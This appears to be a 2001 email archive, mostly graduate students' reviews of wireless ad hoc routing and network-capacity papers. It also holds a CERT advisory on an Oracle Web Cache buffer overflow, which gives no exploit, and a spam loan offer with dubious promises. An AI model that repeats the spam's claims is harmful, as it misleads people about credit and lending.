very effecient (huge control overhead), DSDV-SQ and TORA also have a low sucess delivery. AODV and DSR both perform pretty well, DSR having a lower routing overhead. The differences are always larger at high mobility rates. Note that ARP packets were not taken into account in the simulations. TORA has is own ""ARP process"" embeddeed in the protocol (the beaconning messages). I think this can make a difference at a large rate of setting up new routes, but not enough to change the result of the simulations. There is the right are the wrong way of doing DSR. (right= only the receipt of a new metric should cause a triggered update). The simultation didn't address the performances of TCP over those protocols. My guess is that there are relatively closely related to the performances of the protocols. -- André Allavena (local) 154 A Valentine Place École Centrale Paris (France) Ithaca NY 14850 USA Cornell University (NY) (permanent) 879 Route de Beausoleil PhD in Computer Science 06320 La Turbie FRANCE ",0,0 Prince Samar ,egs@CS.Cornell.EDU,"Tue, 23 Oct 2001 12:53:24 -0400",615 PAPER 25," 25) A Performance Comparison of Multi-hop Wireless Ad hoc Network Routing Protocols This paper presents a performance comparison, using simulations, of four ad hoc routing protocols: AODV, DSR, TORA and DSDV. The ns-2 network simulator has been used for the comparison, which the authors have extended to model the MAC and physical-layer behavior of IEEE 802.11 wireless LAN. The network consists of 50 mobile nodes spread over a rectangular area of 1500m x 300m. The nodes have a nominal transmission range of 250m. Nodes move in the model using the random way-point model characterized by pause time whenever a node reaches its destination location. The traffic loads are kept low (4 packets/s, 10-30 sources, 64 byte packets). Packet delivery fraction, number of routing packets and distribution of path lengths were used as performance metrics. The four protocols studied - DSDV, TORA, DSR and AODV - show good performances in some cases yet have certain drawbacks in certain other cases. DSDV, which is a proactive protocol, has a very high packet delivery ratio in low mobility rate and small node velocities but it fails to converge as the node mobility increases. TORA seems to perform the worst of all the four protocols in the scenarios examined, due to congestion of the network caused by excessive routing traffic generated. Still, it manages to deliver over 90% of the packets in cases with 10-20 sources. The performance of DSR was found to be pretty impressive in all the cases examined. But the use of source routes tends to increase the amount of traffic (in bits) in the network. AODV was also found to perform well at all the rates of mobility and movement speeds, but was found to generate more routing overhead packets especially in cases of high mobility. This paper is one of the preliminary study of comparison of routing protocols for ad hoc networks and provides a lot of insights into their operation. However, I feel it has not been completely fair to DSDV (which is a proactive protocol and has the ability to provide routes instantaneously) and TORA (which provides multiple routes to the destination and has the ability to repair them on the fly). Apart from this, the small number of nodes (50) and the restricted network area (1500m x 300m) probably do not expose some of the other characteristics of these protocols. A study of the comparative scalability of these protocols would have been quite interesting. ",0,0 jcb35@cornell.edu,egs@CS.Cornell.EDU,"Tue, 23 Oct 2001 14:45:05 -0400",615 paper 25,"This paper, entitled ""A Performance Comparison of Multi-Hop Wireless Ad Hoc Network Routing Protocols,"" extends a standard network simulator to look at a few ad hoc networking protocols on level playing field. The monarch group uses ns, a discrete event simulator, and modifies it to support multi-hope wireless networks. They add a wireless mac layer, arp, and link modeling to the simulator. Each node has a packet buffer and one network interface. The paper presents simulations for DSDV, TORA, DSR, and AODV. They use a 50 node, 1500m by 300m space and run the simulation for 900 seconds. While they admit this may not accurately reflect real-world conditions, this is at least a place to start comparisons between the protocols. In the simulation results, it is interesting to see that DSR and AODV-LL deliver a good number of the packets (95-100%) independently with the packet load. DSDV and TORA perform bad in high mobility situations compared to DSR and OADV, and TORA fails to deliver a high percentage of the packets sent with larger networks. Another interesting graph was the routing overhead in terms of packets and bytes sent over the network - obviously, dsr had fewer packets sent out than aodv, but aodv performed better when overhead was measured by bytes over the network, except with extremely high nodes. Overall, this paper was an interesting comparison between the protocols, and did not show any surprising results, although it did show that aodv has more network overhead at high mobility rates, which is a little counter intuitive. ",0,0 jcb35@cornell.edu,egs@CS.Cornell.EDU,"Tue, 23 Oct 2001 15:03:07 -0400",615 paper 26,"Performance Comparison of AODV and DSR This paper presents a comparison of the aodv and dsr routing protocols. They specifically want to look at how the differences in the two protocols contribute to their performance on ad-hoc networks. DSR uses source routing, so the nodes are able to obtain more information by listening to other routes and peeking at the source routes on packets. Contrary to DSR, AODV only really sees routes in terms of it successor. Because of this, DSR uses caching quit agressivley and may see multiple replies to a route, but a node in AODV will only receive one reply from the destination for each route request. Finally, DSR doesn't expire stale routes, leading to misleading state being kept around on nodes. For the simulator, they used ns-2 like the other paper we read. They also use a random waypoint mobility model in a rectangular field with 50 and 100 nodes. The results indicate that with high mobility, the route caches used in DSR hinder its ability to find routes and so AODV performs better. But with low mobility, AODV is affected every time a link fails, but DSR is unaffected by these link failures, and so it performs better at lower mobility rates. DSR consistantly had fewer routing packets overall in the simulations, but it generated more unicast routing packets, which were expensive in the MAC layer simulator they used, and did not translate to smaller network load. They claimed that the combination of MAC layer and on-demand routing hinders the network capacity, and mention this as a point for future work. ",0,0 Ernest hile ,patty@sundial.cs.cornell.edu,"Tue, 23 Oct 2001 13:41:54 -0300",it is easy,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. Some of them specialise in cases where the homeowner has no proof of income or negative equity. Some of them do not care about arrears and poor credit ratings Some of them offer stunning rates as low as 3.75%, and offer loans of over $2,000,000 Some of them offer relief loans of as little as $20,000 to give you room to breathe! You could pay for a car or go on holiday as well! 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An a priori key assumption made is that the ad hoc network, although dynamic in nature, can be viewed as static when evaluating its capacity, since in most scenarios, nodes do not travel significant distances during packet transmissions. Although this assumption can be justified in this paper, not all scenarios of ad-hoc mobile networks may fit this criterion. Throughout the evaluations of ad hoc network capacity, the measurements are benchmarked against the single-hop throughput. Several conclusions are drawn from the analysis of ad hoc network capacity: 1)802.11 MAC is capable of sending at the optimal rate, but does not discover the optimum schedule of transmissions on its own. This inability is caused by the amount of competition the sender experiences, which prevents it from injecting more packets into the network. 2)An ideal ad hoc forwarding chain (i.e., a chain of forwarding nodes along the path) should be able to achieve one quarter of the throughput that a single-hop transmission can achieve. But the 802.11 MAC protocol is able to handle only one-seventh of the single-hop throughput. 3)When the network nodes are in an orderly fashion, carrying orderly traffic patterns, the 802.11 MAC protocol is more efficient, and the per-hope throughput remains relatively constant. On the other hand, in an environment of random node placement and random traffic pattern, as the path length increases, the bandwidth available for each node to originate packets decreases. One contribution given in the paper is that is provides a mathematical formula to calculate the expected path length between any source-destination pair in an ad hoc network. This length is influenced by two parameters: the locality index and the total area of the network coverage. This formula may be helpful in assisting the network designer to assess the optimal nodal placement and density in an ad hoc network. ",0,0 Edward Hua ,egs@CS.Cornell.EDU,"Wed, 24 Oct 2001 21:04:04 -0400",615 Paper # 45,"The Capacity of Wireless Networks Piyush Gupta, P.R.Kumar This paper presents a comprehensive analysis of the capacity in an ad hoc mobile network. In so doing, the network is categorized into two types: arbitrary, where the node locations, destinations, and traffic demands are all arbitrary, and random, where the nodes and their destinations are randomly chosen. As in the paper by Li, et. al., the evaluation is based on the assumption that the ad hoc network is static rather than dynamically changing its topology. This gives rise to a perfect scheduling algorithm that has the knowledge of all nodes and traffic demands in such a network, thereby coordinating wireless transmissions to avoid collisions in the medium. The major contribution in this paper is that the authors have developed the theoretical limits of capacity in wireless networks. For arbitrary networks, the authors define an upper and lower bound on the transport capacity; likewise, an upper and lower bound are defined on the throughput capacity for random networks. One of the conclusions suggested in this paper is that defining subnetworks, each of which has the information of only its surrounding neighbors, may be a preferred approach that will prevent the throughput of each node from degrading too much. This philosophy is consistent with the current research attention being paid to locally active, globally reactive routing schemes in ad hoc networks. The authors have developed a number of theorms and their respective proofs to compute the theoretical upper and lower bounds of network capacity. This is all very good. However, there are no simulations provided that may verify their conclusions. Also, the derivations are based on the assumption that the wireless network is essentially static, a model that may not be applicable to all cases in practice. Nevertheless, this paper is one of the most comprehensive papers on ad hoc network capacity analysis, ",0,0 Walter Bell ,egs@CS.Cornell.EDU,"Wed, 24 Oct 2001 22:05:33 -0400",615 PAPER #45,"45) Capacity of Wireless Networks This work inspects the surprisingly low performance and throughput of wireless networks and attempts to put an upper bound on the throughput of a wireless network. They investigate not only a theoretical upper bound on performance, but also an empirical study to back up their observations. The first insight is that a single node can only send or receive at one time, and only a single node in a transmission area can communicate at a single time, effectively silencing all their neighbors. So any optimal (collision free) network will exhibit the optimal transmission scheduling algorithm where only one node communicates in a given overhearing area. They also note that the problem is even worse than that-- there is a range surrounding the transmission area where anyone else transmitting will have their packets corrupted by the original transmission. This only further degrades the possible upper bound on throughput. They examine chains of nodes relaying a source transmission, which is the case in our ad-hoc networks where paths are multihop between sender and receiver. A theoretical bound on the overall communication throughput is 1/4 because of the observations earlier. They also show that even this bound is overly optimistic because nodes at the ends of the chains have less contention for the network than chains in the middle, and the source at the end of the chain can transmit packets much faster than the relays in the middle. A simple empirical simulation puts this bound at about 1/7. >From these observations, they move on to ideal node locations to provide the highest throughput in a lattice and from there move to a random node layout and a random traffic pattern. From these patterns, they show that although 802.11 doesn't have the optimal scheduling algorithm, it does do a reasonable job of scheduling packets for transmission. They show that the key scalability problem with ad-hoc networks is the locality of traffic, that as networks get larger, paths between communicating nodes get larger, and more network resources are utilized to deal with these communication channels, hence more local traffic will allow ad-hoc networks to scale. ",0,0 Walter Bell ,egs@CS.Cornell.EDU,"Wed, 24 Oct 2001 22:06:10 -0400",615 PAPER #46,"46) Capacity of Ad Hoc Wireless Networks This work presents a highly theoretical and math oriented analysis of the overall capacity of wireless networks. They analyze so called 'arbitrary' networks where nodes are randomly located in a disk of unit area in the plane and have an arbitrary destination to which they wish to send traffic at an arbitrary rate. They analyze situations in terms of the protocol model and the physical model, which are models for successful reception of a packet from a source to a destination. The protocol model simply says that the packet is received if the distance between source and destination is smaller than any other source sending to this destination, the packet is received. The physical model more closely models the physical layer and is represented by a distance fall off equation for the signal strength. Any signal received above a threshold is received. They show that under the protocol model, if each node has a transmission capacity of W, and all nodes are optimally places, the traffic pattern is optimal, and the range of transmission is optimal, a throughput of O(W\\sqrt{n}) is achievable. They present the insight that wireless networks throughput decreases with the number of nodes if the communication distance increases with the number of nodes, therefore it is crucial to scalability to limit the number of hops communication must travel as the network grows. They also note that adding pure relay nodes to the network doesn't make the problem any better, as kn relays are added to the network, the throughput of the network only increases \\sqrt{k+1} fold. This paper presents strong arguments that highly scalable ad-hoc networks are likely only possible given short communication distances and therefore compel routing algorithms to utilize this fact in improving protocols, as information about distant hosts is unlikely to be used in a successful large ad-hoc network. ",0,0 """Panagiotis (Panos) Papadimitratos"" ",Emin Gun Sirer ,"Thu, 25 Oct 2001 10:12:24 -0400",615 PAPER 46," Review of ""Capacity of Ad Hoc Wireless Networks,"" by J. Li, R. Morris et al. papadp@ece.cornell.edu Panagiotis Papadimtratos The authors examine the limitations imposed on ad hoc multihop topologies due to the use of a shared channel. They investigate the forwarding capability of a 802.11-based MANET without the presence of a routing protocol, which would simply impose additional tranmsission overhead. If the packet size of all traffic is assumed the same, then the presence of a routing protocol does not have a qualitative impact. First, a detailed study of the interactions between node transmissions is provided, over different types of topologies. The coupling of concurrent transmissions is shown through simulations for three different topologies: chain, sets of vertical/horizontal chains and grid. The theoreticaly (given the coupling) maximum throughput is not achieved by 802.11 under uniform load conditions. Nonetheless, it is approached when the pattern is randomized. This is the main contribution of this work: they provide an upper bound that incorporates the effect of the communication pattern on capacity, i.e., the achieved transmission rate per node. Their formulation under some assumptions matches the upper bound given by [Kumar] but with an arbitrary pdf (i.e., non uniform) modeling the communiation pattern, they indicate that the highest achievable throughput can exceed the O(1/sqrt(n)) bound. This is due to the locality of communication, and the reduced average path length leads to the increased achievable througput. An interesting point (not very well-supported though) is that the 'shortest path routing' (e.g., min-hop, or geographcal routing) is in accordance with the upper bound formulation, which seems to me that it brings route optimality back into the game. ",0,0 Daehyun Kim ,egs@CS.Cornell.EDU,"Thu, 25 Oct 2001 11:10:32 -0400",615 PAPER 45,"This paper designed/analyzed a mathematical model of the capacity of wireless networks and gave a theoretical limit of the throughout. For the analysis, wireless networks are divided into two types. In Arbitrary Networks, nodes' locations, destinations and traffic pattern are arbitrary. In random networks, those are random, i.e. independently and uniformly distributed. For these two networks, mathematical models are designed and the upper bound and lower bound of capacity are analyzed. Because this paper is purely mathematical and I couldn't understand it, I may not be at a good position to review this paper. But I'd like give the following comments. 1. The main contribution of this paper is that it give theoretical limit of the capacity of wireless network. I think it is very important because this study can give a insight which simulation study cannot provide. 2. This paper showed that splitting the channel does not change the capacity limit. This was quite different from my thought that splitting the channel will reduce the collision and increase the capacity. 3. As far as I understand, the network model of this paper is static. Actually, the other paper I reviewed also assumed the static model. It might be because modeling/analyzing dynamic models are too difficult. Though Static model gives very useful knowledge, I'm not sure how well it will match with practical ad hoc networks. ",0,0 Daehyun Kim ,egs@CS.Cornell.EDU,"Thu, 25 Oct 2001 11:11:49 -0400",615 PAPER 46,"This paper is a simulation/analysis study on the capacity of ad hoc wireless networks. They changed simulation parameters such as network size, traffic patterns and local radio interactions, and analyzed the results. They even validate some simulation results with experiments. This paper showed that the capacity of networks highly depends on the traffic pattern. If the distance between the source and the destination does not remain small, the capacity can not be scaled up with the network size. Therefore, the feasibility of large ad hoc networks is determined by the locality of traffic. In my opinion, the main contribution of this paper is that it analyzed the relationship between traffic pattern and network capacity. Other papers we have talked used very simple traffic patterns and did not pay attention to the network capacity much. But this paper showed this feature clearly, which can be used for the future protocol development. One think I'd like to point out is that this paper assumed static ad hoc network. Their reason for this assumption is that nodes do not move much during packet transit times. But, I think this might be over-simplified. As far as I know, any intensive study on the characteristics of ad hon network traffic has not be done yet. I think such studies should be done first, Before this kind of assumption is made. ",0,0 c.tavoularis@utoronto.ca,COM S 615 ,"Thu, 25 Oct 2001 11:13:51 -0400",615 PAPER 45,"This paper provides many theoretical results on the capacity of wireless networks, supported by simulation. Specifically, it considers random and arbitrary networks, and determines the maximum throughput capacity using the protocol model and the physical model. These results help us see the constraints of wireless networks, particularly in terms of scalability. Random networks distribute nodes with a uniform distribution and have random traffic patterns, while arbitrary networks choose node distribution, and traffic arbitrarily in the workspace. The theoretical upper bound on capacity assumes perfect scheduling without collision and no node mobility. Obviously, this upper bound is far from reality and will degrade severely once nodes contend for the channel. The upper bound is independent of whether a single channel is used, or divided into sub channels. This is an important result due to the difficulties of employing FDMA and CDMA in wireless networks. Capacity of the system was found to improve if the power decays faster as a function of distance. This is because fast decaying signals allow more frequency reuse throughout the network. Throughput decreases with n, and therefore increasing the size of networks greatly degrades performance. Scaling also increases power consumption per node, since each node will have to participate in more packet forwarding. The authors suggest that ad hoc networks can accommodate larger scale networks as long as source destination pairs remain local. Using Voronoi tessellation of cells, and straight lines to model paths, an upper bound is found on the traffic load passing through each cell or cluster of nodes. Also, they suggest that forming clusters or cells with an active cluster head will be profitable and possibly reduce power consumption. I think the most important result is that wireless networks cannot be scaled easily, and effort should be made to keep them small. In general, it reinforces the intuition that wireless networks have very limited resources that only become worse with channel contention and mobility, which occur frequently in ad hoc networks. ",0,0 """John C. Bicket"" ",egs@CS.Cornell.EDU,"Thu, 25 Oct 2001 11:37:29 -0400",615 paper 46,"This paper further elaborates on the capacity on ad hoc wireless networks. Specifically, they look at how the traffic pattern determines the capacity of ad hoc networks, and indicated that large ad hoc networks are feasible if most of the communication is local. The first investigation this paper undertakes is the capacity of ""chained"" nodes, where each node is not mobile. They show that because a node's ability to send in 802.11 is affected by the amount of competition it experiences - a node can inject more packets into an network than the subsequent nodes can forward, and they get dropped as a result. The paper also considers how 802.11's back off performs poorly - They mention that a node may exponentially back off one of its timers when a RTS packet is corrupted by a hidden terminal. Next their analysis turns to lattice networks (ie chains but with 2 dimensions), and find the same problems as in the chain networks. They then evaluate how these results carry over into a graph with random traffic and random layout, where they determine that the capacity available to each node is explicitly dependent on the expected path length. They then find that with either bounded paths lengths or probabilistically short paths, ad hoc networks do not have unrealistically low capacity. comments: I would like to see some analysis in mobile environments, but I think that using a static network provides a good upper bound, and I thought it was a key insight that capacity depends on the locality of communication. ",0,0 """John R. Teifel"" ",egs@CS.Cornell.EDU,"Thu, 25 Oct 2001 11:46:03 -0400",615 PAPER 45,"Li, Blake, De Couto, Lee, Morris: This paper discuses the capacity of ad hoc wireless networks. It mainly examines the interactions of the MAC layer with ad hoc forwarding. The authors use simluation and analysis from first principles to examine the capacitance of ad hoc networks depending on the network size, traffic patterns, and radio interactions. They present results analyzing the per node capacity as an ad hoc network scales. It turns out that the average distance between source and destination nodes must remain small as the network increases in size, in order for the total network capacity to grow. The 802.11 MAC layer acheives 1/7 of the raw channel bandwidth of a long chain of nodes, whereas in theory 1/4 of the raw channel bandwidth is possible. 802.11 is more efficient at routing orderly local traffic patterns and approaches the theoreticaly capacity per node in large random networks (which is slightly puzzling to me, given the first assertion in this sentence). The key thing for the feasibility of large ad hoc networks is the locality of traffic. ",0,0 Avneesh Bhatnagar ,egs@CS.Cornell.EDU,"Thu, 25 Oct 2001 11:58:19 -0400",615 Paper 46,"Capacity of Wireless Networks. This paper evaluates a theoretical limit on the capacity of adhoc wireless networks. Two models are assumed: the arbitrary and random, but both in a static setting. The efficacy of MAC forwarding and 802.11 routing is evaluated under a horizontal flow and both horizontal and vertical grid flow model, thus establishing a upper and lower bound on the throughput possible and what kind of scheduling would enable this. Some results: a. 802.11 can send at the optimum rate but cannot find the right schedule. b. Throughput for a single chain is 1/7 insteafd of the expected 1/4. c. Increase in path length decreases available bandwidth. I think that since the paper was entirely theoretical, the authors have done a good job defining the upper and lower limits. However since my knowledge as to the basis of the assumpotions in these evaluations is limited, the only queries that I have are: a. Static model: It would be interesting to know why the paper takes this assumption and why could'nt a mobility model have been strapped onto these evaluations. b. There are horizontal and vertical chains that were considered for this study. Why could'nt any other model be chosen? ",0,0 Prince Samar ,egs@CS.Cornell.EDU,"Thu, 25 Oct 2001 11:56:34 -0400",615 PAPER 45," 45) The Capacity of Wireless Networks This SEMINAL work by Gupta and Kumar presents theoretical bounds for the capacity of wireless networks. The network is assumed to be stationary where nodes are randomly located on a disc/sphere and the paper allows for ideal scheduling algorithm which knows the locations of all the nodes and all the traffic demands. The paper shows a rather pessimistic result that as the number of nodes (which are communicating with each other) in the wireless network become large, the throughput of the network diminishes to zero. The throughput constriction comes from the pervasive need for all the nodes to share the channel locally with other nodes while forwarding packets originating at the node or at other nodes. The paper shows that even with full knowledge of the network and perfect scheduling of the nodes, temporally and spatially, the throughput of the multi-hop wireless network decreases with increase in the number of nodes in the network. However, the authors have considered stationary networks. In a very interesting work by David Tse, it has been shown that mobility actually increases the throughput if one can allow for long delays in the actual delivery of the packets (Ah! a glimmer of hope.. but probably not very practical). Their argument is that due to random mobility, eventually the source (or one of the small number of nodes to which the node forwarded the packet) would move close enough to the destination so that the packet can actually be delivered directly (or in a very small number of hops). The authors discuss some possible implications of their work. They state that the performance of large networks may be unacceptable and so network designers should perhaps focus of designing small networks or networks where hosts limit their communication to their neighborhood. They show that if all the nodes transmit data to only their neighbors, the data rate can be maintained constant irrespective of the actual size of the network. The show that in a network with n nodes, the fraction of time that a node's modem is busy decreases with n in a inverse log fashion. Another implication of their work is the feasibility of clustering in multi-hop wireless networks. Division of a channel into subchannels (frequency division, time division or code division) does not have any effect on their results. They show that adding purely relaying nodes into the network may increase the capacity, but a large number of such nodes may be required for a noticeable change in capacity. It has also been pointed out that the transport capacity improves if the rf power fall-off exponent is large. The authors point out a few areas of further research. They are including mobility, link failures and multiple access into the analysis. Delay in delivering the data packets to the destination also needs to be taken into account. Spatial directivity or beamforming may improve the performance. Also, having an information theoretic picture of this problem would be immensely interesting. ",0,0 c.tavoularis@utoronto.ca,COM S 615 ,"Thu, 25 Oct 2001 12:04:08 -0400",615 PAPER 46,"Scalability is a factor of network size, traffic patterns, local interaction and MAC layer interaction of the routing protocol. This paper addresses the effects of the MAC and routing layer interaction on ad hoc network capacity. It also determines the communication patterns that allow scalability. The authors consider a single shared channel and a static wireless network. The authors determine the network capacity limited only by the 802.11 MAC layer contention through a chain of nodes. A chain of nodes has ultimate throughput 1/3 since successive nodes must wait for each other to transmit, causing delays. Allowing interference further deteriorates performance due to collisions. Simulation results show even worse throughputs, down to 1/7 of 1.7Mbps. This decrease in performance is due to unfair contention since the source node has less contention than intermediate nodes (by symmetry) and therefore can ‘overload’ the forwarding nodes with traffic, while also delaying them from transmitting. The exponential backoff scheme in 802.11 is also disadvantageous since it results in periods of time when the channel is not being used. The authors then consider a square lattice network with horizontal and vertical traffic flows. Similar yet worse results are observed such that source nodes experience less contention than forwarding nodes, and exponential backoff periods are wasteful. In a random situation with predetermined routes (no routing protocol present), the throughput degrades even more, mainly due to areas of the network lacking in forwarding nodes. To study the capacity of an entire large network, the authors scale a network such that traffic increases with number of nodes and distance. Capacity is found to decrease with the length of the path and is therefore dependent on the traffic pattern. The most scalable traffic patterns occur when source destination pairs are within a local vicinity of each other. This also demonstrates the importance of choosing a shortest path when routing. The intuition is that ad hoc networks scale well because of spectral reuse, but increasing the number of nodes also increases forwarding load per node. In fact, ad hoc networks scale well when they behave as a set of overlapping sub- networks. Capacity of networks is an important issue, since it limits causes congestion, deteriorating performance. This study shows the importance of the MAC layer in routing, and demonstrates that 802.11 does not significantly hinder capacity. ",0,0 """Panagiotis (Panos) Papadimitratos"" ",Emin Gun Sirer ,"Thu, 25 Oct 2001 12:06:56 -0400",615 PAPER 45," Review of: ""The capacity of wireless networks,"" by P.Gupta, P.R. Kumar IEEE trans. on information theory, vol. 46, no2., march 2000. papadp@ece.cornell.edu Panagiotis Papadimtratos The paper investigates the maximum achievable transmission rate by a node in a multihop wireless topology. The communication model is random pairwise multihop transmission, under two absrtact models ('protoco, physical'), that determine the criteria for correct reception. The network models considered are 'arbitrary' and 'random', the difference being not so much the selection of the destination but more the homogeneity of node parameters (xmission radius, rate etc). The paper shows that the achievable upper bound, under the assumption of an optimal placement of nodes, choice of transmission radius, and for a *single* shared channel, cannot be improved even if multiple channels were used. (Even if an optimal scheduling of transmissions was feasible; of course, note that the aggregate throughput of the set of channels *cannot* exceed that of the initial channel.) A key point is the set up of the model itself: the n randomly chosen nodes chose a random destination (i.e., possibly high average path length) and transmit at a *constant* rate W. Neither assumption is necessarily valid for a wide range of MANET instances. To that extent, the 'shadow' on the ad hoc networking paradigm might not be that heavy (:-). Scalabilty is undeniably harmed as achievable node-throughput is forced to a lower value, inversely proportional to the sqrt() of the network size, but under the above assumptions. The direction that the authors made, i.e., the design of smaller networks, is in essence the realisation of the simple fact that MANET traffic is localized, or MANET subdomains are (may be) stub AS's. If this is compared with the outline of the [Li, Morris] paper result, things start to look better. (Note: the Grossglausser] paper is inticing, but its communication model does not appear more realistic, to say the least) ",0,0 """Virantha N. Ekanayake"" ",egs@CS.Cornell.EDU,"Thu, 25 Oct 2001 12:09:02 -0400",615 Paper 45 ,"This paper gives a theoretical approach to estimating throughput of wireless networks. It brings several insights to light: That each node's throughput is limited by the load imposed by other nodes, and that even when the nodes are located optimally (albeit on a disk) a node's throughput is reduced by a factor of 1/sqrt(n) which becomes insignificant as the number of nodes increases. However, for communicating with neighbors, a constant bit rate is predicted. This paper was very well written, and addresed a long standing need for more formal models for ad-hoc networks. It had a lot of formal proofs, most of which I skipped over, but it seems their conclusions have merit. It also points towards the future of ad-hoc networks, and the perhaps the need for core-based routing protocols where the size of the local networks can be kept small enough such that a throughput degradation is kept manageable. In this case, the pattern of communication will be non-random (i.e. communication will mainly (hopefully!) be local) and the result here may not apply. ",0,0 """Virantha N. Ekanayake"" ",egs@CS.Cornell.EDU,"Thu, 25 Oct 2001 12:09:35 -0400",615 Paper 46,"This paper tries to simplify the results obtained in the earlier Gupta paper on capacity, in context of 802.11 and different traffic patterns. They show how the expected bandwidth isn't as bad as predicted by Gupta et al. as long as the traffic patterns are predominantly local. The paper was very clear, and had an excellent example of how inteference can affect the throughput of wireless networks. They also took into account how the 802.11 backoff scheme, and rts/cts signalling affects throughput. ",0,0 """John R. Teifel"" ",egs@CS.Cornell.EDU,"Thu, 25 Oct 2001 12:22:17 -0400",615 PAPER 46,"Gupta & Kumar: This paper also discusses the capacity of wireless networks. It is a theory paper and quite frankly way too verbose and the writing style was almost unbearable. They show that every node in an ad hoc network must share channels with local neighbors in order for the total network capacity to be utilized. The throughput available to users tends towards zero as the number of users is increased, they suggest some type of clustering (i think) might be useful for maintaining throughput for users. They suggest that wireless networks may only be beneficial for networks with a small number of nodes--not very encouraging i suppose for ad hoc network visionaries. Adaptive or clustering may be able to overcome this or help in scalability. Essentially this paper said that ad hoc networks in their current implementation are limited and more complex schemes are needed in order for ad hoc networks to become practical. ",0,0 André Allavena ,egs@CS.Cornell.EDU,"Thu, 25 Oct 2001 12:45:01 +0200",615 PAPER 46,"Capacity of Ad Hoc Networks A very good paper, describing and poving in which cases an ad hoc network can work (scale) or not. The idea is to look at the capacity of a node (the amount of data a node an send) and compare it with the average length of a path. End to End througput is in O(1/sqrt(n)). They fisrt look at 802.11 which does not manage to achieve the theoretical maximum throughput in chain situations (the first node sends too much, the other ones wait for too much to gain access to the communication chanel). But overall the result is not too bad (1/7 instead of 1/4), closer to optimal in other situations. Scaling: Let C be the one hop capacity (how much a node sends to its neightboor, whether or not it was within a multihop path or not). C=kA=kn/d with A the surface, n the number of nodes and d the density C > nµL/r where L/r is the number of hops on the path (physical distance / radius of transmission) µ the packet rate then µ < (C/n) / (L/r) = (k/d)/ P P begin the avergae length of a path. _ P ~ sqrt(A) ~ sqrt(n) hence µ = O(1/sqrt(n)) Instead if you choose a power law for the neighbours instead of a random distribution, matching on the power exposant | x < -2 -> per node capacity constant (great!) | x = 2 -> per node capacity of O(1/log n) | -2 < x < -1 -> per node capacity of O(log(n)/sqrt(n)) | -2 < x -> per node capacity of O(1/sqrt(n)) Conclusion, stay with x<-2 if you want to scale (collection of superposed networks not using the links between them). -- André Allavena (local) 154 A Valentine Place École Centrale Paris (France) Ithaca NY 14850 USA Cornell University (NY) (permanent) 879 Route de Beausoleil PhD in Computer Science 06320 La Turbie FRANCE",0,0 Prince Samar ,egs@CS.Cornell.EDU,"Thu, 25 Oct 2001 13:03:16 -0400",615 PAPER 46," 46) Capacity of Ad hoc Wireless Networks This paper illustrates the capacity of wireless ad hoc networks over the 802.11 MAC layer using simulations and analysis. The article examines the limitations imposed by the use of a single shared channel over data forwarding and shows its effects on the network capacity and scalability. Various factors affecting the capacity, like network size, traffic patterns and local interactions, are studied alone and in combination. The authors examine different topologies: chains, sets of horizontal chains, grid and random topology. The authors conclude that the 802.11 is successful in determining reasonably good schedules. At the same time, they find that the simulated capacity is quite small in comparison to the optimal value. For example, for a chain topology, the ideal capacity is 1/4 and the simulated one is about 1/7. The paper shows that scalability of ad hoc networks is dependent on the locality of the communication pattern. Large networks are feasible only if the traffic is limited to the neighborhood of a node. The results in this paper reinforce the results in the Gupta and Kumar paper. It would be interesting to see how the results of the paper change when mobility is introduced. ",0,0 Rebecca Perry ,Lesson Study Listserv ,"Thu, 25 Oct 2001 10:43:40 -0700",Do you have a lesson study debriefing session on tape?,"Dear Lesson Study Practitioners: The U.S.-Japan Elementary Science Project focuses on lesson study as one strategy for spreading teaching for understanding in science and math. The study draws on lesson study research in both Japan and the U.S., with the intention of illustrating how lesson study is conducted in both countries. We have recently received several requests for information about how to conduct lesson study debriefings from U.S. practitioners who are learning lesson study. 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Rebecca Perry -- Rebecca Perry, Ph.D. Senior Research Associate U.S. - Japan Elementary Science Project Education Department Mills College 510-430-3217 rperry@mills.edu http://www.lessonresearch.net --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,1 jcb35@cornell.edu,egs@CS.Cornell.EDU,"Thu, 25 Oct 2001 14:38:32 -0400",615 paper 45,"This paper looked at the theoretical capacity limits of wireless networks without any centralized structure. The evaluate the limitations of 802.11 and find a theoretical upper limit for networks with arbitrarily and randomly located nodes and traffic patterns. The most significant finding of this paper is that a wireless network modeled with no interference with nodes capable of transmitting at W bits/sec employing a common range, each with a randomly chose destination, is limited by the number of nodes proportional to 1/sqrt(nlogn). The only real problem with this is that it probably doesn't model ad-hoc networks very well - it just provides a specific upper bound - I doubt any ad-hoc networking application has this communication pattern, and this is assuming that all nodes do not move. Never the less, it does provide a limit for this particular setup. ",0,0 CERT Advisory ,cert-advisory@cert.org,"Thu, 25 Oct 2001 22:26:13 -0400",CERT Advisory CA-2001-29 Oracle9iAS Web Cache vulnerable to buffer overflow," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-29 Oracle9iAS Web Cache vulnerable to buffer overflow Original release date: October 25, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected Systems running: * Oracle9iAS Web Cache Overview A remotely exploitable buffer overflow in the Oracle9iAS Web Cache allows intruders to execute arbitrary code or disrupt the normal operation of Web Cache. I. Description Defcom Labs has discovered a remotely exploitable buffer overflow vulnerability in the Oracle9iAS Web Cache (on all platforms) that allows intruders to either execute arbitrary code with the privileges of the Web Cache process, or disrupt the normal operation of Web Cache. The Oracle9iAS Web Cache provides four web services that are all vulnerable and enabled by default when the software is installed. For more information about these web services, please see the Oracle9iAS Web Cache Administration and Deployment Guide (registration required). These services and the associated ports they listen on are listed below: * 1100/tcp (incoming web cache proxy) * 4000/tcp (administrative interface) * 4001/tcp (web XML invalidation port) * 4002/tcp (statistics port) Additional information regarding this vulnerability is available at http://otn.oracle.com/deploy/security/pdf/webcache.pdf http://www.securityfocus.com/archive/1/3BCEE434.F597D815@defcom.com II. Impact An intruder can execute arbitrary code with the privileges of the web cache process or disrupt the normal operation of Web Cache. Additionally, an intruder might be able to intercept and/or modify sensitive data such as credentials and other types of sensitive information passing through the host running Web Cache. Finally, an intruder may be able to gain access to other systems by using Web Cache as an entry point into the network or by leveraging an existing trust relationship between Web Cache and another system. III. Solution Install a patch from Oracle. More information is available in Appendix A. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Oracle Please see http://otn.oracle.com/deploy/security/pdf/webcache.pdf Appendix 